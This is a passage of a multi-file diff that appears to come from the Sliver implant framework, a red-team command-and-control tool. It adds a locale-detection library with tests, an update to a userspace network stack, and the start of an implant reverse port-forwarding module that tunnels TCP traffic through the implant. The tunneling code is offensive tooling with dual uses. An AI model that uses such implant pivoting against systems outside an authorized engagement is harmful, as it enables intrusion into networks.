}
// {{end}}
os.Exit(1)
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("Limit checks completed")
// {{end}}
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2014 Pivotal
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,95 @@
# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
## OS Support
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
These variables are used in ALL versions of UNIX for language detection.
**Windows**
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
## DetectIETF
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
userLocale, err := jibberjabber.DetectIETF()
println("Locale:", userLocale)
```
## DetectLanguage
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
also import the following packages for parsing the returned locale
```golang
"golang.org/x/text/language"
"golang.org/x/text/language/display"
```
**Example:**
```golang
userLanguage, err := jibberjabber.DetectLanguage()
println("Language:", userLanguage)
languageTag, parseErr := language.Parse(userLanguage)
println("Language:", display.Self.Name(languageTag))
```
## DetectLanguageTag
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
**Example:**
```golang
languageTag, parseErr := jibberjabber.DetectLanguageTag()
println("Language:", display.Self.Name(languageTag))
```
## DetectTerritory
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
localeTerritory, err := jibberjabber.DetectTerritory()
println("Territory:", localeTerritory)
```
## About Errors in Detect
All the Detect commands will return an error if they are unable to read the Locale from the system.
For Windows, additional error information is provided due to the nature of the system call being used.
## Helper Singleton
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
**Example:**
```golang
langServer := jibberjabber.LanguageServer()
langServer.SetSupportedLanguages(map[language.Tag]string{
language.German: "active.de.toml",
language.English: "active.en.toml",
}
langServer.SetFallbackLanguage(language.English)
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
if err != nil {
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
}
```
@@ -0,0 +1,44 @@
package jibberjabber
import (
"errors"
// "fmt"
// "sort"
"strings"
// "sync"
// "golang.org/x/text/language"
// "golang.org/x/text/language/display"
)
var (
ErrLangDetectFail = errors.New("could not detect Language")
ErrLangFallbackUndefined = errors.New("no fallback language defined")
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
ErrLangUnsupported = errors.New("language not supported")
ErrLangParse = errors.New("language identifier cannot be parsed")
)
func splitLocale(locale string) (string, string) {
formattedLocale := strings.Split(locale, ".")[0]
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
pieces := strings.Split(formattedLocale, "_")
language := pieces[0]
territory := ""
if len(pieces) > 1 {
territory = strings.Split(formattedLocale, "_")[1]
}
return language, territory
}
/**
* languageServer
*/
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
func IsError(err error, jjError error) bool {
return strings.HasPrefix(err.Error(), jjError.Error())
}
@@ -0,0 +1,13 @@
package jibberjabber_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"testing"
)
func TestJibberJabber(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Jibber Jabber Suite")
}
@@ -0,0 +1,44 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber
import (
"os"
"strings"
)
func getLangFromEnv() string {
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
locale := os.Getenv(env)
if len(locale) > 0 {
return locale
}
}
return ""
}
func getUnixLocale() (string, error) {
locale := getLangFromEnv()
if len(locale) <= 0 {
return "", ErrLangDetectFail
}
return locale, nil
}
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
// e.g. `en-GB`.
func DetectIETF() (string, error) {
locale, err := getUnixLocale()
if err != nil {
return "", err
}
language, territory := splitLocale(locale)
locale = language
if len(territory) > 0 {
locale = strings.Join([]string{language, territory}, "-")
}
return locale, nil
}
@@ -0,0 +1,155 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber_test
import (
"errors"
"os"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Unix", func() {
AfterEach(func() {
os.Setenv("LC_MESSAGES", "")
os.Setenv("LC_ALL", "")
os.Setenv("LANG", "en_US.UTF-8")
})
Describe("#DetectIETF", func() {
Context("Returns IETF encoded locale", func() {
It("should return the locale set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return an error if it cannot detect a locale", func() {
os.Setenv("LANG", "")
_, err := DetectIETF()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
Context("when the locale is simply 'fr'", func() {
BeforeEach(func() {
os.Setenv("LANG", "fr")
})
It("should return the locale without a territory", func() {
language, err := DetectIETF()
Ω(err).ShouldNot(HaveOccurred())
Ω(language).Should(Equal("fr"))
})
})
})
Describe("#DetectLanguage", func() {
Context("Returns encoded language", func() {
It("should return the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return an error if it cannot detect a language", func() {
os.Setenv("LANG", "")
_, err := DetectLanguage()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectLanguageTag", func() {
Context("Returns encoded language tag", func() {
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return an error if it cannot detect and parse a language tag", func() {
os.Setenv("LANG", "")
_, err := DetectLanguageTag()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectTerritory", func() {
Context("Returns encoded territory", func() {
It("should return the territory set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return an error if it cannot detect a territory", func() {
os.Setenv("LANG", "")
_, err := DetectTerritory()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
})
@@ -0,0 +1,47 @@
// +build windows
package jibberjabber
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
const LOCALE_NAME_MAX_LENGTH uint32 = 85
func getWindowsLocaleFrom(sysCall string) (string, error) {
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
dll, err := windows.LoadDLL("kernel32")
if err != nil {
return "", errors.New("could not find kernel32 dll: " + err.Error())
}
proc, err := dll.FindProc(sysCall)
if err != nil {
return "", err
}
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
if r == 0 {
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
}
return windows.UTF16ToString(buffer), nil
}
func getWindowsLocale() (string, error) {
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
if err != nil {
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
}
return locale, err
}
// DetectIETF detects and returns the IETF language tag of Windows.
func DetectIETF() (string, error) {
return getWindowsLocale()
}
@@ -0,0 +1,63 @@
// +build windows
package jibberjabber_test
import (
"regexp"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const (
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
LANGUAGE_REGEXP = "^[a-z]{2}$"
TERRITORY_REGEXP = "^[A-Z]{2}$"
)
var _ = Describe("Windows", func() {
BeforeEach(func() {
locale, err := DetectIETF()
Ω(err).Should(BeNil())
Ω(locale).ShouldNot(BeNil())
Ω(locale).ShouldNot(Equal(""))
})
Describe("#DetectIETF", func() {
It("detects correct IETF locale", func() {
locale, _ := DetectIETF()
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguage", func() {
It("detects correct Language", func() {
language, _ := DetectLanguage()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguageTag", func() {
It("detects correct Language Tag", func() {
result, _ := DetectLanguageTag()
base, _ := result.Base()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
Ω(matched).Should(BeTrue())
region, _ := result.Region()
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectTerritory", func() {
It("detects correct Territory", func() {
territory, _ := DetectTerritory()
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
Ω(matched).Should(BeTrue())
})
})
})
+35
View File
@@ -0,0 +1,35 @@
//go:build darwin || linux || windows
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
)
// GetLocale returns the default language set
func GetLocale() string {
userLocale, err := jibberjabber.DetectIETF()
if err != nil {
return ""
}
return userLocale
}
+30
View File
@@ -0,0 +1,30 @@
//go:build !darwin && !windows && !linux
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
// GetLocale returns the default language set
func GetLocale() string {
return ""
}
+34 -71
View File
@@ -6,6 +6,7 @@
package netstack
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
@@ -23,10 +24,11 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/bufferv2"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -37,69 +39,16 @@ import (
)
type netTun struct {
ep *channel.Endpoint
stack *stack.Stack
dispatcher stack.NetworkDispatcher
events chan tun.Event
incomingPacket chan buffer.VectorisedView
incomingPacket chan *bufferv2.View
mtu int
dnsServers []netip.Addr
hasV4, hasV6 bool
}
type (
endpoint netTun
Net netTun
)
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
}
func (e *endpoint) IsAttached() bool {
return e.dispatcher != nil
}
func (e *endpoint) MTU() uint32 {
mtu, err := (*netTun)(e).MTU()
if err != nil {
panic(err)
}
return uint32(mtu)
}
func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
return stack.CapabilityNone
}
func (*endpoint) MaxHeaderLength() uint16 {
return 0
}
func (*endpoint) LinkAddress() tcpip.LinkAddress {
return ""
}
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
panic("not implemented")
}
func (*endpoint) ARPHardwareType() header.ARPHardwareType {
return header.ARPHardwareNone
}
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
type Net netTun
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
@@ -108,13 +57,15 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
HandleLocal: true,
}
dev := &netTun{
ep: channel.New(1024, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan tun.Event, 10),
incomingPacket: make(chan buffer.VectorisedView),
incomingPacket: make(chan *bufferv2.View),
dnsServers: dnsServers,
mtu: mtu,
}
tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
dev.ep.AddNotify(dev)
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
if tcpipErr != nil {
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
@@ -167,6 +118,7 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
if !ok {
return 0, os.ErrClosed
}
return view.Read(buf[offset:])
}
@@ -176,17 +128,29 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
return 0, nil
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
switch packet[0] >> 4 {
case 4:
tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
case 6:
tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
}
return len(buf), nil
}
func (tun *netTun) WriteNotify() {
pkt := tun.ep.Read()
if pkt == nil {
return
}
view := pkt.ToView()
pkt.DecRef()
tun.incomingPacket <- view
}
func (tun *netTun) Flush() error {
return nil
}
@@ -197,9 +161,9 @@ func (tun *netTun) Close() error {
if tun.events != nil {
close(tun.events)
}
if tun.incomingPacket != nil {
close(tun.incomingPacket)
}
tun.ep.Close()
return nil
}
@@ -434,11 +398,10 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
buf := bytes.NewReader(p)
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
@@ -453,8 +416,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
pc.wq.EventRegister(&e)
defer pc.wq.EventUnregister(&e)
select {
@@ -488,7 +451,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(t.Sub(time.Now()))
pc.deadline.Reset(time.Until(t))
return nil
}
+251
View File
@@ -0,0 +1,251 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"encoding/binary"
"io"
"math/rand"
"net"
"strconv"
"sync"
"time"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Portfwds - Struct instance that holds all the portfwds
Portfwds = portfwds{
forwards: map[int]*Portfwd{},
mutex: &sync.RWMutex{},
}
portfwdID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
BindAddr string
RemoteAddr string
}
// Portfwd - Tracks portfwd<->tcpproxy
type Portfwd struct {
ID int
TCPProxy *tcpproxy.Proxy
ChannelProxy *ChannelProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *Portfwd) GetMetadata() *PortfwdMeta {
return &PortfwdMeta{
ID: p.ID,
BindAddr: p.ChannelProxy.BindAddr,
RemoteAddr: p.ChannelProxy.RemoteAddr,
}
}
type portfwds struct {
forwards map[int]*Portfwd
mutex *sync.RWMutex
}
// Add - Add a TCP proxy instance
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
portfwd := &Portfwd{
ID: nextPortfwdID(),
TCPProxy: tcpProxy,
ChannelProxy: channelProxy,
}
f.forwards[portfwd.ID] = portfwd
return portfwd
}
// Remove - Remove a TCP proxy instance
func (f *portfwds) Remove(portfwdID int) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
if portfwd, ok := f.forwards[portfwdID]; ok {
portfwd.TCPProxy.Close()
delete(f.forwards, portfwdID)
return portfwd
}
return nil
}
// List - List all TCP proxy instances
func (f *portfwds) List() []*PortfwdMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
portForwards := []*PortfwdMeta{}
for _, portfwd := range f.forwards {
portForwards = append(portForwards, portfwd.GetMetadata())
}
return portForwards
}
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
// one ChannelProxy per port bind.
//
// Implements the Target interface from tcpproxy pkg
type ChannelProxy struct {
Conn *transports.Connection
//Session *clientpb.Session
BindAddr string
RemoteAddr string
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// HandleConn - Handle a TCP connection
func (p *ChannelProxy) HandleConn(src net.Conn) {
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Handling new connection")
// {{end}}
ctx := context.Background()
var cancelContext context.CancelFunc
if p.DialTimeout >= 0 {
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
}
if conn, ok := src.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[rportfwd] Creating tcp tunnel")
// {{end}}
tId := NewTunnelID()
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
// {{end}}
tunnel := transports.NewTunnel(
tId,
src,
src,
)
p.Conn.AddTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := p.Conn.Tunnel(tunnel.ID)
if tunnel != nil {
p.Conn.RemoveTunnel(tunnel.ID)
}
src.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: p.Conn,
host: p.Host(),
port: p.Port(),
protocol: sliverpb.PortFwdProtoTCP,
tunnelID: tId,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
